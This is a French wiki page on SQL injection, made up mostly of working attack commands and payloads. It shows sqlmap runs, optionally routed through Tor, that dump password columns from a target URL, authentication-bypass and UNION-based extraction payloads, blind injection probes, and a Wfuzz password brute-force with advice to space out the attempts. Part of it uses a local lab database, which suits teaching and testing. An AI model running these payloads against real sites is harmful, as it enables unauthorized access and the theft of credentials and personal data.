Injection sql

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Attaque web — base de données
Cible typique MySQL / applications PHP
Outils Sqlmap, Havij, Wfuzz
Voir aussi Méthodologie d'attaque web · Sqlmap

L'injection SQL exploite un défaut de filtrage des entrées utilisateur pour injecter du code SQL dans une requête et contourner une authentification, extraire ou modifier des données.

sqlCake sait contourner les magic quotes, dumper les tables et les colonnes, et propose un shell MySQL (http://sqlcake.sourceforge.net/).

Méthode express (sqlmap)

# URL1 = http://site-cible.example/music.php?id=4
cd /pentest/database/sqlmap
python sqlmap.py -u "$URL1" --dbs
# via Tor
python sqlmap.py -u "$URL1" --tor --dbs
# -> base disponible : yboa
python sqlmap.py -u "$URL1" -D yboa --tables
# -> table : allowed
python sqlmap.py -u "$URL1" -D yboa -T allowed --columns
python sqlmap.py -u "$URL1" -D yboa -T allowed -C pwd  --dump
python sqlmap.py -u "$URL1" -D yboa -T allowed -C name --dump
python sqlmap.py -u "$URL1" -D yboa -T allowed -C name -U test --dump

Exemple : crack d'une base MySQL

Préparation de la base de test

aptitude install mysql-server-5.0
aptitude install mysql-admin
use labo_sqli;
create table utilisateurs (
  id INT NOT NULL, nom VARCHAR(50), prenom VARCHAR(50),
  identifiant VARCHAR(20), motdepasse VARCHAR(30)
);
insert into utilisateurs values (23456,'DUPONT','Alice','alice','z34bx4TH');
insert into utilisateurs values (64513,'MARTIN','Bob','bob','A23vb3sD');
insert into utilisateurs values (42874,'DURAND','Chloe','chloe','S45qj7xs');
insert into utilisateurs values (46783,'BERNARD','David','david','F56ty2qY');
insert into utilisateurs values (12647,'PETIT','Emma','emma','V28st3qq');

Ici les mots de passe sont en clair, ce qui constitue déjà une faille. Pour les hacher :

alter table utilisateurs modify motdepasse varchar(41);
update utilisateurs set motdepasse=password('K23ge6ax') where nom='MARTIN';
select * from utilisateurs where identifiant='bob' and motdepasse='A23vb3sD';

Principe

Si l'on insère une ' ou une " dans le champ de requête et que cela provoque une erreur, l'application est potentiellement vulnérable. Si aucune erreur n'apparaît, c'est que magic_quotes_gpc est actif dans php.ini :

magic_quotes_gpc = on

Le développeur peut aussi neutraliser l'injection côté code :

$mdp = stripslashes($_POST['mdp']);   // ou htmlentities()

Contournement d'authentification via le champ nom d'utilisateur :

' or 1=1 #

fait apparaître le premier utilisateur enregistré. L'extension Firefox Tamper Data permet de modifier l'en-tête de la requête pour injecter :

' UNION SELECT identifiant, motdepasse from utilisateurs #

La requête effective devient :

SELECT nom, prenom FROM utilisateurs WHERE identifiant='fasm'
AND motdepasse='' UNION SELECT identifiant, motdepasse FROM utilisateurs #';

La clause LIMIT permet de contrôler l'affichage :

' UNION SELECT identifiant, motdepasse from utilisateurs LIMIT 1,1 #

Technique Blind SQL

À utiliser lorsque le serveur est moins bavard (pas de message d'erreur détaillé). On distingue quatre comportements possibles d'une requête injectée :

  • elle fonctionne mais ne renvoie aucun enregistrement ;
  • elle provoque une erreur ;
  • elle retourne un enregistrement non validable ;
  • elle est valide et provoque l'authentification.

On commence par compter le nombre de champs de la table avec GROUP BY, puis on teste les noms de colonnes avec ORDER BY. On trouve le nom de la table :

' UNION SELECT nom, prenom FROM test #

Puis on teste par dichotomie la longueur et le contenu des enregistrements :

' UNION SELECT nom, prenom FROM utilisateurs WHERE LENGTH(identifiant)=1 #
' UNION SELECT nom, prenom FROM utilisateurs
  WHERE LENGTH(identifiant)=4 AND SUBSTRING(identifiant,1,1)='a' #

Ce type de recherche s'automatise avec des scripts Python (voir http://python.developpez.com/cours/TutoSwinnen).

Validation de la casse avec Wfuzz

Comme la casse du mot de passe n'est pas testée par l'injection, on la valide sur la page de login avec Wfuzz :

python wfuzz.py -c -z file -f dico.txt \
  -d "identif=fasm&mdp=FUZZ&ref=identification&valider=Valider" \
  http://localhost/labo/identification.php

Le résultat dont le nombre de mots (colonne W) diffère des autres (par exemple 86 W au lieu de 92 W) est le bon. Un tel test peut nécessiter plus d'un millier de tentatives : il faut donc les espacer dans le temps.

Voir aussi